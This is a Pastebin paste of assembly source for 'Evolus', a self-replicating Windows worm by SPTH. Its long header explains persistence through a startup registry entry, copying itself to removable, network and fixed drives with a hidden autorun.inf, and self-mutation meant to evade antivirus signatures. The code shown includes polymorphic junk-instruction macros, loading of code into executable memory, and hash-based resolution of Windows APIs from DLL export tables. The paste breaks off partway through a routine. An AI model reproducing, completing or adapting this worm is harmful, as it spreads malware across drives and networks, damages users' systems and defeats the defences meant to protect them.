API tools faq
paste
FlyFar

evolus.asm

FlyFar
Jul 27th, 2023
166
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 60.16 KB | Cybersecurity | 0 0
raw download clone embed print report
  1. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  2. ;;
  3. ;;  Evoris 2: Evolus
  4. ;;  by SPTH
  5. ;;  July 2011
  6. ;;
  7. ;;
  8. ;;  This is an advanced version of my Evoris worm from November 2010.
  9. ;;
  10. ;;  The worm takes use of an evolvable meta-language concept, which has
  11. ;;  been presented in an article "Taking the redpill: Artificial Evolution
  12. ;;  in native x86 systems" (10.2010), and further in "Imitation of Life:
  13. ;;  Advanced system for native Artificial Evolution" (07.2011); and analysed in
  14. ;;  VirusBulletin 03.2011 ("Flibi night"), and VirusBulletin 05.2011 ("Flibi: Evolution").
  15. ;;
  16. ;;
  17. ;;
  18. ;;
  19. ;;  Metalanguage:
  20. ;;    It has been shown in different approaches of artificial simulations,
  21. ;;    that evolution can be achieved if the artificial chemistry fulfills
  22. ;;    several conditions: A small instruction set, separation of arguments
  23. ;;    and operations, and non-direct addressing.
  24. ;;    In an x86 environment, this can be done by creating a special meta-
  25. ;;    language. The meta-language in this approach is very near connected
  26. ;;    to the natural biosynthese:
  27. ;;
  28. ;;       Artificial   --   Natural
  29. ;;       Bit          --   Nucleobase
  30. ;;       Byte         --   Codon
  31. ;;       Instruction  --   Amino acid
  32. ;;       Function     --   Protein
  33. ;;       Translator   --   tRNA
  34. ;;
  35. ;;    To achieve evolution, it is also required that there are enough
  36. ;;    neutral mutations. In an short analyse "Mutational Robustness in x86
  37. ;;    systems", it has been shown that the most robust concept is meta-langauge
  38. ;;    with a redundant alphabet.
  39. ;;
  40. ;;
  41. ;;
  42. ;;
  43. ;;  Alphabet:
  44. ;;    The alphabet contains the base-commands of the language:
  45. ;;
  46. ;;    nopREAL
  47. ;;    nopsA, nopsB, nopsD, nopdA, nopdB, nopdD
  48. ;;    save, addsaved
  49. ;;    saveWrtOff, saveJmpOff
  50. ;;    writeByte, writeDWord,
  51. ;;    getDO, getdata, getEIP
  52. ;;    push, pop, pushall, popall
  53. ;;    add0001, sub0001
  54. ;;    shl, shr, xor, and
  55. ;;    mul, div
  56. ;;    JnzUp, JnzDown, call
  57. ;;    CallAPILoadLibrary
  58. ;;
  59. ;;    These are the 32 commands of the metalanguage. Each command is represented
  60. ;;    by a 8bit value. As there are 256 (2^8) possibilities to write a 8bit
  61. ;;    code there is a big source for redundancy - just as in nature, where 20
  62. ;;    amino acids are coded by 64 (4^3) possibilities to write the nucleobases.
  63. ;;
  64. ;;    It would be possible to decrease the size of the instruction set further
  65. ;;    (in "Flibi: Evolution" it's shown that a set of 18 instructions is enough
  66. ;;    to perform the same functionality), but this leads to evolutionary negative
  67. ;;    effects.
  68. ;;
  69. ;;
  70. ;;
  71. ;;
  72. ;;  Start- and Stop-codons:
  73. ;;    In natural biosynthesis, an functional code starts by an initialization
  74. ;;    codon (START), and ends with a termination codon (STOP). Parts between STOP
  75. ;;    and START are called Introns and will be cutted out before translation.
  76. ;;    This process is called Splicing. A similar concept has been created too for
  77. ;;    these artificial organisms - and it can lead to unexpected good results such
  78. ;;    as macro- and behaviour mutation.
  79. ;;
  80. ;;
  81. ;;
  82. ;;
  83. ;;  Evolvable API calls:
  84. ;;    kernel32.dll and advapi32.dll are loaded thru LoadLibraryA. The export
  85. ;;    table is parsed, and a 12bit hash of the exported API is created. If that
  86. ;;    hash is the same as a hardcoded 12bit hash in the file, the API address is
  87. ;;    saved.
  88. ;;    The idea is: there are ~1000 exported APIs in kernel32.dll, there are
  89. ;;    ~4000 possibilities how to write a 12bit code. That means, by a single
  90. ;;    bit-flip of the API hash, there is a possibility of ~25% that a new
  91. ;;    valid API will be called.
  92. ;;
  93. ;;
  94. ;;
  95. ;;
  96. ;;  To achieve evolution it is necessary to have replication, mutation
  97. ;;  and selection.
  98. ;;
  99. ;;
  100. ;;  Replication:
  101. ;;    It makes a registry-entry to start at every Windows Startup.
  102. ;;    All ~25sec it searchs for all removeable, network, fixed drives and
  103. ;;    copies itself to them. For removable and network drives, it creates a
  104. ;;    hidden autorun.inf:
  105. ;;        - - -
  106. ;;        [Autorun]
  107. ;;        ShellExecute=filename.exe
  108. ;;        UseAutoplay=1
  109. ;;        - - -
  110. ;;
  111. ;;
  112. ;;
  113. ;;
  114. ;;  Mutation:
  115. ;;    The program can use several types of mutations:
  116. ;;
  117. ;;    Bitflip (point mutation): it changes a single bit of the code
  118. ;;
  119. ;;    XCHG (Inversion): it exchanges the position of 8 bytes (8 commands)
  120. ;;                      ABCD EFGH -> EFGH ABCD (25.0%)
  121. ;;
  122. ;;    Insertion/Deletion: it can move some part of the code, and fill the
  123. ;;                        rest with NOPs (20%)
  124. ;;
  125. ;;    Horizontal gene transfer: It is able to copy code from foreign files
  126. ;;                              and insert it into its offspring (same idea
  127. ;;                              as bacteria use to rapidly distribute functions
  128. ;;                              such as antibiotica resistancy.
  129. ;;
  130. ;;    Polymorphism: Neutral Codon Exchange:
  131. ;;                          The worm searchs its alphabet for equal amino acids,
  132. ;;                          if it finds some equivalent once, it goes thru its
  133. ;;                          codon stream and exchange those equivalences.
  134. ;;
  135. ;;
  136. ;;
  137. ;;
  138. ;;  Selection:
  139. ;;    The natural selection for malware will come from antivirus scanners.
  140. ;;    As soon as the signature of a certain representation of the worm is
  141. ;;    in the database of AV programs, it can not spread alot anymore. Just those
  142. ;;    mutations can spread, which are so different to the original in the
  143. ;;    database, that it is not recognized anymore. This is a very natural
  144. ;;    selection process.
  145. ;;    There may be other selective advantages such as new functionalities - for
  146. ;;    a more detailed see the article mentioned above.
  147. ;;
  148. ;;
  149. ;;
  150. ;;
  151. ;;  Including Introns:
  152. ;;    To include introns, a C++ file has been created, as FASM Macro language
  153. ;;    is much too slow for this task.
  154. ;;
  155. ;;
  156. ;;
  157. ;;  Compiler Polymorphism:
  158. ;;    There are two different FASM macro-language polymorphisms with the effect
  159. ;;    that two different Evolus organism look different.
  160. ;;
  161. ;;    -> The first polymorphism takes use of the redundance of the alphabet.
  162. ;;       Each codon is a macro call, which returns one of the possible pointer
  163. ;;       to the responding amino acid. (Let's say, _save has 3 representations:
  164. ;;       1,2,3 - then the _save-macro writes randomly one of these into the file)
  165. ;;       The evolutionary advantage is that the codons are equally distibuted,
  166. ;;       and the risk of a mutation is spread over all codons.
  167. ;;
  168. ;;    -> It is possible, instead of using an optimized alphabet (CreateRandomAlphabet-macro)
  169. ;;       to use a randomly mixed alphabet (CreateBalancedAlphabet). This can be
  170. ;;       selected in the CreateAlphabet-Macro.
  171. ;;
  172. ;;
  173. ;;
  174. ;;
  175. ;;  Tested at WinXP SP3, but it should also work with WinVista+.
  176. ;;
  177. ;;
  178. ;;
  179. ;;
  180. ;;  Thanks to: hh86 && qkumba
  181. ;;  Greets goes to herm1t, roy g biv, alcopaul, Mostafa Saleh, all ex-rRlf members &
  182. ;;                 & all serious researchers
  183. ;;
  184. ;;
  185. ;;
  186. ;;
  187. ;;  Evoris comes from a unification of Evolution and Virus, Evolus is the
  188. ;;  evolved Evoris. :)
  189. ;;
  190. ;;
  191. ;;
  192. ;;
  193. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  194.  
  195.  
  196.  
  197.  
  198.  
  199.  
  200.  
  201.  
  202. include 'E:\Programme\FASM\INCLUDE\win32ax.inc'
  203.  
  204. RndNum = %t AND 0xFFFF'FFFF
  205. macro GetNewRandomNumber
  206. {
  207.    RndNum = ((RndNum*214013+2531011) AND 0xFFFF'FFFF)
  208. }
  209.  
  210. macro CreateNOPString
  211. {
  212.     GetNewRandomNumber
  213.     if ((RndNum SHR 16) MOD 2)=0
  214.     while ((RndNum SHR 16) MOD 15)<>0
  215.         GetNewRandomNumber
  216.         if ((RndNum SHR 16) MOD 15)=0
  217.         nop
  218.         end if
  219.         if ((RndNum SHR 16) MOD 15)=1
  220.         mov eax, eax
  221.         end if
  222.         if ((RndNum SHR 16) MOD 15)=2
  223.         shr ecx, 0
  224.         end if
  225.         if ((RndNum SHR 16) MOD 15)=3
  226.         shl edi, 0
  227.         end if
  228.         if ((RndNum SHR 16) MOD 15)=4
  229.         add eax, 0
  230.         end if
  231.         if ((RndNum SHR 16) MOD 15)=5
  232.         and eax, -1
  233.         end if
  234.         if ((RndNum SHR 16) MOD 15)=6
  235.         xor eax, 0
  236.         end if
  237.         if ((RndNum SHR 16) MOD 15)=7
  238.         sub ebp, 0
  239.         end if
  240.         if ((RndNum SHR 16) MOD 15)=8
  241.         or esi, 0
  242.         end if
  243.         if ((RndNum SHR 16) MOD 15)=9
  244.         xchg eax, eax
  245.         end if
  246.         if ((RndNum SHR 16) MOD 15)=10
  247.         push ebx
  248.         pop ebx
  249.         end if
  250.         if ((RndNum SHR 16) MOD 15)=11
  251.         pushad
  252.         mov edi, RndNum
  253.         popad
  254.         end if
  255.         if ((RndNum SHR 16) MOD 15)=12
  256.         db 0xEB,0x00 ; jmp next; next:
  257.         end if
  258.         if ((RndNum SHR 16) MOD 15)=13
  259.         and ebx, ebx
  260.         end if
  261.         if ((RndNum SHR 16) MOD 15)=14
  262.         push ebp
  263.         add ebp, RndNum
  264.         pop ebp
  265.         end if
  266.         GetNewRandomNumber
  267.     end while
  268.     end if
  269. }
  270.  
  271. .data
  272.     include 'data_n_equs.inc'
  273. ;        a db "Am I allowed to live?",0x0
  274. ;        b db "In evolution we trust",0x0
  275.  
  276.  
  277. .code
  278. start:
  279. ;  invoke Sleep, 1000
  280.   CreateNOPString
  281.   CreateNOPString
  282.   CreateNOPString
  283.   CreateNOPString
  284.   CreateNOPString
  285.   CreateNOPString
  286.   CreateNOPString
  287.   CreateNOPString
  288. ;  invoke MessageBox, 0x0, a, b, 0x0
  289.  
  290.     AlignedSize=0x1'0000
  291.     while ((EndAmino-StAmino)*8)>AlignedSize
  292.         AlignedSize=AlignedSize+0x1'0000
  293.     end while
  294.  
  295.     CreateNOPString
  296.     invoke  VirtualAlloc, \
  297.         0x0, \
  298.         AlignedSize, \
  299.         0x1000, \
  300.         PAGE_EXECUTE_READWRITE
  301.     CreateNOPString
  302.     mov [Place4Life], eax
  303.  
  304.     CreateNOPString
  305.     mov eax, 0x0                ; EAX will work as Splicing seperator
  306.     CreateNOPString
  307.     mov edx, 0x0                ; EDX will be used as the counter of this loop
  308.     CreateNOPString
  309.     WriteMoreToMemory:
  310.         mov ebx, 0x0            ; EBX=0;
  311.         CreateNOPString
  312.         mov bl, byte[edx+StAmino]       ; BL=NUMBER OF AMINO ACID
  313.         CreateNOPString
  314.  
  315.         cmp bl, StartCodon          ; If we found a start codon, adjust Splicing seperator
  316.  
  317.         jne SplicingNoStart
  318.         CreateNOPString
  319.             mov eax, 0x0
  320.             CreateNOPString
  321.         SplicingNoStart:
  322.  
  323.         cmp bl, StopCodon           ; If we found a stop codon, adjust Splicing seperator
  324.         jne SplicingNoStop
  325.         CreateNOPString
  326.             mov eax, 0x91       ; 0x91 = 1001 0001
  327.             CreateNOPString
  328.         SplicingNoStop:
  329.  
  330.         or  bl, al              ; SPLICING!
  331.         CreateNOPString
  332.  
  333.         shl ebx, 3              ; EBX*=8;
  334.         CreateNOPString
  335.  
  336.         mov esi, StartAlphabeth     ; ESI ... Alphabeth offset
  337.         CreateNOPString
  338.  
  339.         add esi, ebx            ; ESI+=EBX; ESI ...  offset of the current amino acid
  340.         CreateNOPString
  341.  
  342.         mov ebx, edx            ; EBX ... current number of amino acid
  343.         CreateNOPString
  344.  
  345.         shl ebx, 3              ; EBX ... lenght of amino acids before this one
  346.         CreateNOPString
  347.  
  348.         mov edi, [Place4Life]       ; EDI ... Memory address
  349.         CreateNOPString
  350.  
  351.         add edi, ebx            ; Offset of current memory for 8 byte code
  352.         CreateNOPString
  353.  
  354.         mov ecx, 8              ; ECX ... 8
  355.         CreateNOPString
  356.  
  357.         rep movsb               ; Write ECX bytes from ESI to EDI
  358.         CreateNOPString
  359.                             ; Write 8 bytes from Alphabeth to Memory
  360.         inc edx             ; Increase EDX
  361.         CreateNOPString
  362.  
  363.     cmp edx, (EndAmino-StAmino)
  364.     jne WriteMoreToMemory
  365.     CreateNOPString
  366.  
  367.     call    [Place4Life]                ; Lets start!!!
  368.  
  369.  
  370.  
  371.  
  372. ; ##################################################################
  373. ; Alphabeth
  374. StartAlphabeth:
  375. include 'alphabeth.inc'
  376. CreateAlphabet
  377.  
  378. EndAlphabeth:
  379.  
  380. ; ##################################################################
  381.  
  382. include 'instruction_set_macros.inc'
  383.  
  384. ; ##################################################################
  385. ; Amino Acids
  386. StAmino:
  387.  
  388. ; ############################################################################
  389. ; ############################################################################
  390. ; ############################################################################
  391. ; #####
  392. ; #####  Here the genom gets the Addresses of the Windows APIs.
  393. ; #####  It loads via LoadLibrary the kernel32.dll and advapi32.dll,
  394. ; #####  searchs in the Export Table for the adequade API (creating
  395. ; #####  an internal 12 bit checksum, and compares it with some hardcoded
  396. ; #####  12bit values). This procedere should be evolvable.
  397. ; #####
  398. ; #####  Optimum would have been to call the Windows APIs by its
  399. ; #####  Ordinal Numbers, but they change at every release of Windows.
  400. ; #####
  401. ; #####  At Linux, evolvable API calls are already presented, as you
  402. ; #####  call int 0x80 with a specific number in eax which represents
  403. ; #####  the API number.
  404. ; #####
  405. ; #####
  406. ;
  407. ; The Hash-Algo is equivalent to:
  408. ; ===============================
  409. ;
  410. ;;FindAPIGiveMeTheHash:
  411. ;; In: ebx=pointer to API name
  412. ;; Out: eax=Hash   (in ax)
  413. ;; changed: eax
  414. ;;        mov     ebx, apistr
  415. ;
  416. ;        push    ebx
  417. ;        push    ecx
  418. ;        push    edx
  419. ;        xor     eax, eax
  420. ;        xor     ecx, ecx
  421. ;        dec     ebx
  422. ;        FindAPIGiveMeTheHashMore:
  423. ;                inc     ebx
  424. ;                mov     ecx, dword[ebx]
  425. ;                xor     eax, ecx
  426. ;                mov     edx, ecx        ; ecx=nooo - n ... new byte
  427. ;                shr     edx, 8          ; edx=000n ... new byte
  428. ;                cmp     dl, 0           ; dl=n
  429. ;        jne     FindAPIGiveMeTheHashMore
  430. ;
  431. ;        and     eax, 0x0FFF
  432. ;        pop     edx
  433. ;        pop     ecx
  434. ;        pop     ebx
  435. ;ret
  436.  
  437.  
  438.  
  439. StAminoAcids1:
  440. ;        repeat 100
  441. ;            _nopREAL
  442. ;        end repeat
  443.  
  444.  
  445.     db _START
  446.     db _STOP
  447.  
  448.     db _START
  449.  
  450.     GetAddress mCloseHandle
  451.     _saveWrtOff
  452.     _zer0 0
  453.     addnumber 0x0342
  454.     _writeDWord
  455.  
  456.     GetAddress mCopyFileA
  457.     _saveWrtOff
  458.     _zer0 0
  459.     addnumber 0x0C5C
  460.     _writeDWord
  461.  
  462.     GetAddress mCreateFileA
  463.     _saveWrtOff
  464.     _zer0 0
  465.     addnumber 0x0615
  466.     _writeDWord
  467.  
  468.     GetAddress mCreateFileMappingA
  469.     _saveWrtOff
  470.     _zer0 0
  471.     addnumber 0x04E1
  472.     _writeDWord
  473.  
  474.     GetAddress mCreateProcessA
  475.     _saveWrtOff
  476.     _zer0 0
  477.     addnumber 0x0674
  478.     _writeDWord
  479.  
  480.     GetAddress mGetDriveTypeA
  481.     _saveWrtOff
  482.     _zer0 0
  483.     addnumber 0x0AFD
  484.     _writeDWord
  485.  
  486.     GetAddress mGetCommandLineA
  487.     _saveWrtOff
  488.     _zer0 0
  489.     addnumber 0x06A8
  490.     _writeDWord
  491.  
  492.     GetAddress mGetFileSize
  493.     _saveWrtOff
  494.     _zer0 0
  495.     addnumber 0x083B
  496.     _writeDWord
  497.  
  498.     GetAddress mWriteFile
  499.     _saveWrtOff
  500.     _zer0 0
  501.     addnumber 0x078B
  502.     _writeDWord
  503.  
  504.     GetAddress mGetTickCount
  505.     _saveWrtOff
  506.     _zer0 0
  507.     addnumber 0x01B4
  508.     _writeDWord
  509.  
  510.     GetAddress mMapViewOfFile
  511.     _saveWrtOff
  512.     _zer0 0
  513.     addnumber 0x05EE
  514.     _writeDWord
  515.  
  516.     GetAddress mSleep
  517.     _saveWrtOff
  518.     _zer0 0
  519.     addnumber 0x07F9
  520.     _writeDWord
  521.  
  522.     GetAddress mFindFirstFileA
  523.     _saveWrtOff
  524.     _zer0 0
  525.     addnumber 0x094A
  526.     _writeDWord
  527.  
  528.     GetAddress mFindNextFileA
  529.     _saveWrtOff
  530.     _zer0 0
  531.     addnumber 0x0FE1
  532.     _writeDWord
  533.  
  534.     GetAddress mUnmapViewOfFile
  535.     _saveWrtOff
  536.     _zer0 0
  537.     addnumber 0x01D1
  538.     _writeDWord
  539.  
  540.     GetAddress mSetErrorMode
  541.     _saveWrtOff
  542.     _zer0 0
  543.     addnumber 0x0CBB
  544.     _writeDWord
  545.  
  546.     GetAddress mRegCreateKeyA
  547.     _saveWrtOff
  548.     _zer0 0
  549.     addnumber 0x0EDC
  550.     _writeDWord
  551.  
  552.     GetAddress mRegSetValueExA
  553.     _saveWrtOff
  554.     _zer0 0
  555.     addnumber 0x0845
  556.     _writeDWord
  557.  
  558.  
  559.     GetAddress stDLLkernel32     ; write "kernel32.dll" and "advapi32.dll"
  560.     _saveWrtOff          ; to the data-section. This will be used
  561.     _nopdA               ; by LoadLibraryA as argument later
  562.     _zer0 0
  563.     addnumber 'kern'
  564.     _writeDWord
  565.  
  566.     _nopsA
  567.     addnumber 4
  568.     _saveWrtOff
  569.     _nopdA
  570.     _zer0 0
  571.     addnumber 'el32'
  572.     _writeDWord
  573.  
  574.     _nopsA
  575.     addnumber 4
  576.     _saveWrtOff
  577.     _nopdA
  578.     _zer0 0
  579.     addnumber '.dll'
  580.     _writeDWord
  581.  
  582.     GetAddress stDLLadvapi32
  583.     _saveWrtOff
  584.     _nopdA
  585.     _zer0 0
  586.     addnumber 'adva'
  587.     _writeDWord
  588.  
  589.     _nopsA
  590.     addnumber 4
  591.     _saveWrtOff
  592.     _nopdA
  593.     _zer0 0
  594.     addnumber 'pi32'
  595.     _writeDWord
  596.  
  597.     _nopsA
  598.     addnumber 4
  599.     _saveWrtOff
  600.     _nopdA
  601.     _zer0 0
  602.     addnumber '.dll'
  603.     _writeDWord
  604.  
  605.  
  606.     GetAddress stDLLkernel32
  607.     _push
  608.     _CallAPILoadLibrary  ; invoke LoadLibrary, "kernel32.dll"
  609.  
  610.     GetAddress hDLLlibrary32
  611.     _saveWrtOff
  612.  
  613.  
  614.     _nopsA
  615.     _writeDWord      ; mov dword[hDLLkernel32], eax
  616.  
  617.     _save            ; Save kernel32.dll position
  618.      addnumber 0x3C
  619.     _getdata         ; mov RegB, dword[hDLLkernel32+0x3C]
  620.                  ; = Pointer to PE Header of kernel32.dll
  621.     _addsaved        ; relative -> absolut
  622.  
  623.     addnumber 0x78
  624.     _getdata         ; Export Tables
  625.     _addsaved        ; relative -> absolut
  626.     addnumber 0x1C          ; Addresse Table
  627.  
  628.     _nopdA           ; temporarily save Offset of Addresse Table in RegA
  629.  
  630.     GetAddress hAddressTable
  631.     _saveWrtOff      ; WriteOffset=hAddressTable
  632.  
  633.     _nopsA           ; restore RegA=Addresse Tables
  634.     _getdata         ; Pointer To Addresse Table
  635.     _addsaved        ; relative -> absolut
  636.     _writeDWord      ; mov dword[hAddressTable], (Pointer to Addresse Table)
  637.  
  638.     GetAddress hNamePointerTable
  639.     _saveWrtOff      ; WriteOffset=hNamePointerTable
  640.  
  641.     _nopsA           ; BC1=Addresse Table
  642.     addnumber 4      ; BC1=Name Pointer Table
  643.     _nopdA
  644.  
  645.     _getdata         ; Pointer To Name Table
  646.     _addsaved        ; relative -> absolut
  647.     _writeDWord      ; mov dword[hNamePointerTable], (Pointer to Name Pointer Table)
  648.  
  649.     GetAddress hOrdinalTable
  650.     _saveWrtOff      ; WriteOffset=hOrdinalTable
  651.  
  652.     _nopsA
  653.     addnumber 4      ; BC=Pointer to Ordinal Table
  654.  
  655.     _getdata         ; Ordinal Table
  656.     _addsaved        ; relative -> absolut
  657.     _writeDWord      ; mov dword[hOrdinalTable], (Pointer to Ordinal Table)
  658.  
  659.  
  660.  
  661.     GetAddress APINumber
  662.     _saveWrtOff
  663.     _zer0 1
  664.     addnumber APINumberKernel
  665.     _writeDWord      ; Save number of kernel32.dll APIs
  666.  
  667.  
  668.     GetAddress hAddressePointer
  669.     _saveWrtOff
  670.     GetAddress APIAddresses
  671.     _writeDWord  ; Saves the AddressePointer
  672.  
  673.  
  674.     GetAddress hMagicNumberPointer
  675.     _saveWrtOff
  676.     GetAddress APIMagicNumbersKernel
  677.     _writeDWord  ; Saves the MagicNumber Pointer
  678.  
  679.     _zer0 0
  680.     addnumber 43
  681.     _push
  682.  
  683. ; FindAllAPIs
  684.     _getEIP
  685.     _sub0001
  686.     _sub0001
  687.     _sub0001
  688.     _sub0001
  689.     _sub0001
  690.     _saveJmpOff  ; mov BA2, eip  - for further API searching in different DLLs
  691.  
  692.     _pushall
  693.  
  694.         _zer0 0
  695.         _nopdB      ; RegB = Counter for first instance loop = 0
  696.  
  697.         GetAddress hAddressePointer
  698.         _getdata
  699.         _nopdA       ; RegA = Pointer to Buffer for API Addresse
  700.  
  701.         GetAddress hMagicNumberPointer
  702.         _getdata
  703.         _nopdD       ; RegD = Pointer to Magic Numbers for APIs
  704.  
  705.  
  706.  
  707.         ; FindAllAPIsNext
  708.         _getEIP
  709.         _sub0001
  710.         _sub0001
  711.         _sub0001
  712.         _sub0001
  713.         _sub0001
  714.         _saveJmpOff  ; mov BA2, eip
  715.  
  716.  
  717.         _pushall
  718.             ; RegA=free  | used for pointer within the Name Pointer Table
  719.             ; RegB=free  | used as temporary buffer
  720.             ; RegD=MagicNumber for API
  721.             ; Stack:  | counter (number of APIs checked in kernel32.dll)
  722.  
  723.             GetAddress hNamePointerTable
  724.             _getdata
  725.             _nopdA           ; Pointer to Name Pointer Table (points to first API)
  726.  
  727.             _zer0 0
  728.             _sub0001
  729.             _push            ; counter
  730.  
  731.            ; SearchNextAPI:
  732.             _getEIP
  733.             _sub0001
  734.             _sub0001
  735.             _sub0001
  736.             _sub0001
  737.             _sub0001
  738.             _saveJmpOff      ; mov BA2, eip
  739.  
  740.             _pop
  741.             addnumber 0x1       ; counter++
  742.             _push
  743.  
  744.             GetAddress hDLLlibrary32
  745.             _getdata
  746.             _save            ; kernel32.dll position
  747.  
  748.             _nopsA           ; Pointer to NamePointerTable
  749.             _getdata         ; Points to API name
  750.             _addsaved        ; relative -> absolut
  751.             _sub0001         ; -- (for algorithm)
  752.             _nopdB          ; save Pointer to API name
  753.  
  754.  
  755.             _nopsA
  756.             addnumber 4     ; Points to next API name
  757.             _nopdA           ; Has just effects in next loop
  758.  
  759.             _pushall
  760.                 _zer0 0
  761.                 _nopdA
  762.  
  763.                 _getEIP
  764.                 _sub0001
  765.                 _sub0001
  766.                 _sub0001
  767.                 _sub0001
  768.                 _sub0001
  769.                 _saveJmpOff      ; mov BA2, eip
  770.  
  771.                 _nopsA
  772.                 _save            ; RegA=MagicNumber
  773.  
  774.                 _nopsB
  775.                 addnumber 1
  776.                 _nopdB          ; BC1=NamePointer++
  777.  
  778.                 _getdata         ; BC1=dword[NamePointer+n]
  779.  
  780.                 _addsaved        ; BC1=BC1 + BC2 = dword[NamePointer+n] xor MagicNumber
  781.                 _nopdA
  782.  
  783.                 _zer0 0
  784.                 addnumber 8
  785.                 _save
  786.  
  787.                 _nopsB
  788.                 _getdata         ; BC1=nxxx
  789.                 _shr             ; BC1=???n
  790.                 _push
  791.  
  792.                 _zer0 0
  793.                 addnumber 0xFF
  794.                 _save            ; BC2=0xFF
  795.                 _pop             ; BC1=???n
  796.                 _and             ; BC1=000n
  797.  
  798.                 _JnzUp
  799.  
  800.                 GetAddress APITmpBuffer
  801.                 _saveWrtOff
  802.                 _nopsA
  803.                 _writeDWord      ; mov dword[APITmpBuffer], RegA
  804.  
  805.             _popall
  806.  
  807.             GetAddress APITmpBuffer
  808.             _getdata
  809.             _nopdB          ; save MagicNumber of this API
  810.  
  811.  
  812.             _zer0 0
  813.             addnumber 0x0FFF
  814.             _save            ; save 0x0FFF in BC2
  815.  
  816.             _nopsB
  817.             _and             ; BC1=dword[MagicNumberOfThisAPI] && 0x0FFF
  818.             _nopdB
  819.  
  820.             _nopsD           ; Get Pointer to API MagicWord
  821.             _getdata
  822.             _and             ; BC1=dword[MagicNumberSearchAPI] && 0x0FFF
  823.             _save            ; save
  824.  
  825.             _nopsB           ; Get MagicNumber of current API again
  826.             _xor             ; (dword[MagicNumberSearchAPI] && 0x0FFF) XOR dword[MagicNumberOfThisAPI] && 0x0FFF
  827.                          ; If zero, assume that we found API
  828.             _JnzUp
  829.  
  830.  
  831.             _zer0 0
  832.             addnumber 1
  833.             _save            ; BC2=1
  834.  
  835.             _pop             ; Get Counter from Stack
  836.             _shl             ; BC1=counter*2 (because Ordinal Table has just 2byte Entries)
  837.                         ; (=no DLLs with more than 65535 functions?!)
  838.             _save
  839.  
  840.             GetAddress hOrdinalTable
  841.             _getdata
  842.             _addsaved        ; Points to ordinal number of the API
  843.  
  844.             _push
  845.             _zer0 0
  846.             addnumber 0xFFFF
  847.             _save
  848.             _pop             ; BC2=0xFFFF
  849.  
  850.             _getdata         ; BC1=Ordinal Number of API
  851.                         ; Ordinal Number is a word, so we have to set the high word to zero
  852.             _and             ; BC1=dword[Ordinal] && 0xFFFF
  853.  
  854.             _push
  855.             _zer0 0
  856.             addnumber 2
  857.             _save
  858.             _pop
  859.             _shl             ; BC1=Ordinal*4, as Addresse to Function is a dword
  860.  
  861.             _save
  862.  
  863.             GetAddress hAddressTable
  864.             _getdata
  865.  
  866.             _addsaved        ; BC1 points to Addresse of API Function
  867.             _getdata         ; BC1=Addresse of API Function
  868.             _save
  869.  
  870.             GetAddress hDLLlibrary32
  871.             _getdata
  872.             _addsaved        ; relative -> absolut
  873.                         ; BC1 contains the Addresse of the API in (kernel32) memory
  874.  
  875.  
  876.             _nopdB          ; save the Addresse in RegB
  877.             GetAddress hAddressePointer
  878.             _getdata         ; Pointer to the buffer where we save the API addresse
  879.             _saveWrtOff      ; We will write to this Addresse
  880.  
  881.             _nopsB           ; restore API Addresse
  882.  
  883.             _writeDWord      ; Save the API Function Addresse in the Function Buffer!!!
  884.  
  885.  
  886.         _popall
  887.  
  888.         GetAddress hAddressePointer
  889.         _saveWrtOff  ; The buffer where we save the pointer
  890.  
  891.         _nopsA
  892.         addnumber 0x4       ; Next Buffer for API Adresse
  893.  
  894.         _writeDWord  ; save pointer
  895.         _nopdA       ; save different (prevents a more messy code)
  896.  
  897.         _nopsD       ; Next Magic Number for API
  898.         addnumber 0x4
  899.         _nopdD
  900.  
  901.         _nopsB
  902.         addnumber 0x1    ; Increase API-Counter
  903.         _nopdB
  904.         _save
  905.  
  906.         GetAddress APINumber
  907.         _getdata
  908.  
  909.  
  910.         _subsaved 0 ; cmp Counter, APINumber
  911.         _JnzUp       ; Jnz FindAllAPIsNext
  912.  
  913.         ; end FindAllAPIsNext
  914.  
  915.     _popall
  916.     ; FoundAPI
  917.  
  918. ; end FindAllAPIs in kernel32.dll
  919.  
  920.     GetAddress stDLLadvapi32
  921.     _push
  922.     _CallAPILoadLibrary  ; invoke LoadLibrary, "kernel32.dll"
  923.  
  924.  
  925.     GetAddress hDLLlibrary32
  926.     _saveWrtOff
  927.  
  928.  
  929.     _nopsA
  930.     _writeDWord      ; mov dword[hDLLkernel32], eax
  931.  
  932.     _save            ; Save kernel32.dll position
  933.  
  934.     addnumber 0x3C
  935.     _getdata         ; mov RegB, dword[hDLLkernel32+0x3C]
  936.  
  937.                     ; = Pointer to PE Header of kernel32.dll
  938.     _addsaved        ; relative -> absolut
  939.  
  940.     addnumber 0x78
  941.     _getdata         ; Export Tables
  942.     _addsaved        ; relative -> absolut
  943.     addnumber 0x1C          ; Addresse Table
  944.  
  945.     _nopdA           ; temporarily save Offset of Addresse Table in RegA
  946.  
  947.     GetAddress hAddressTable
  948.     _saveWrtOff      ; WriteOffset=hAddressTable
  949.  
  950.     _nopsA           ; restore RegA=Addresse Tables
  951.     _getdata         ; Pointer To Addresse Table
  952.     _addsaved        ; relative -> absolut
  953.     _writeDWord      ; mov dword[hAddressTable], (Pointer to Addresse Table)
  954.  
  955.     GetAddress hNamePointerTable
  956.     _saveWrtOff      ; WriteOffset=hNamePointerTable
  957.  
  958.     _nopsA           ; BC1=Addresse Table
  959.     addnumber 4      ; BC1=Name Pointer Table
  960.     _nopdA
  961.  
  962.     _getdata         ; Pointer To Name Table
  963.     _addsaved        ; relative -> absolut
  964.     _writeDWord      ; mov dword[hNamePointerTable], (Pointer to Name Pointer Table)
  965.  
  966.     GetAddress hOrdinalTable
  967.     _saveWrtOff      ; WriteOffset=hOrdinalTable
  968.  
  969.     _nopsA
  970.     addnumber 4         ; BC=Pointer to Ordinal Table
  971.  
  972.     _getdata         ; Ordinal Table
  973.     _addsaved        ; relative -> absolut
  974.     _writeDWord      ; mov dword[hOrdinalTable], (Pointer to Ordinal Table)
  975.  
  976.  
  977.     GetAddress APINumber
  978.     _saveWrtOff
  979.     _zer0 0
  980.     addnumber APINumberAdvapi
  981.     _writeDWord      ; Save number of kernel32.dll APIs
  982.  
  983.     GetAddress hAddressePointer
  984.     _saveWrtOff
  985.     GetAddress APIAddressesReg
  986.     _writeDWord  ; Saves the AddressePointer
  987.  
  988.  
  989.     GetAddress hMagicNumberPointer
  990.     _saveWrtOff
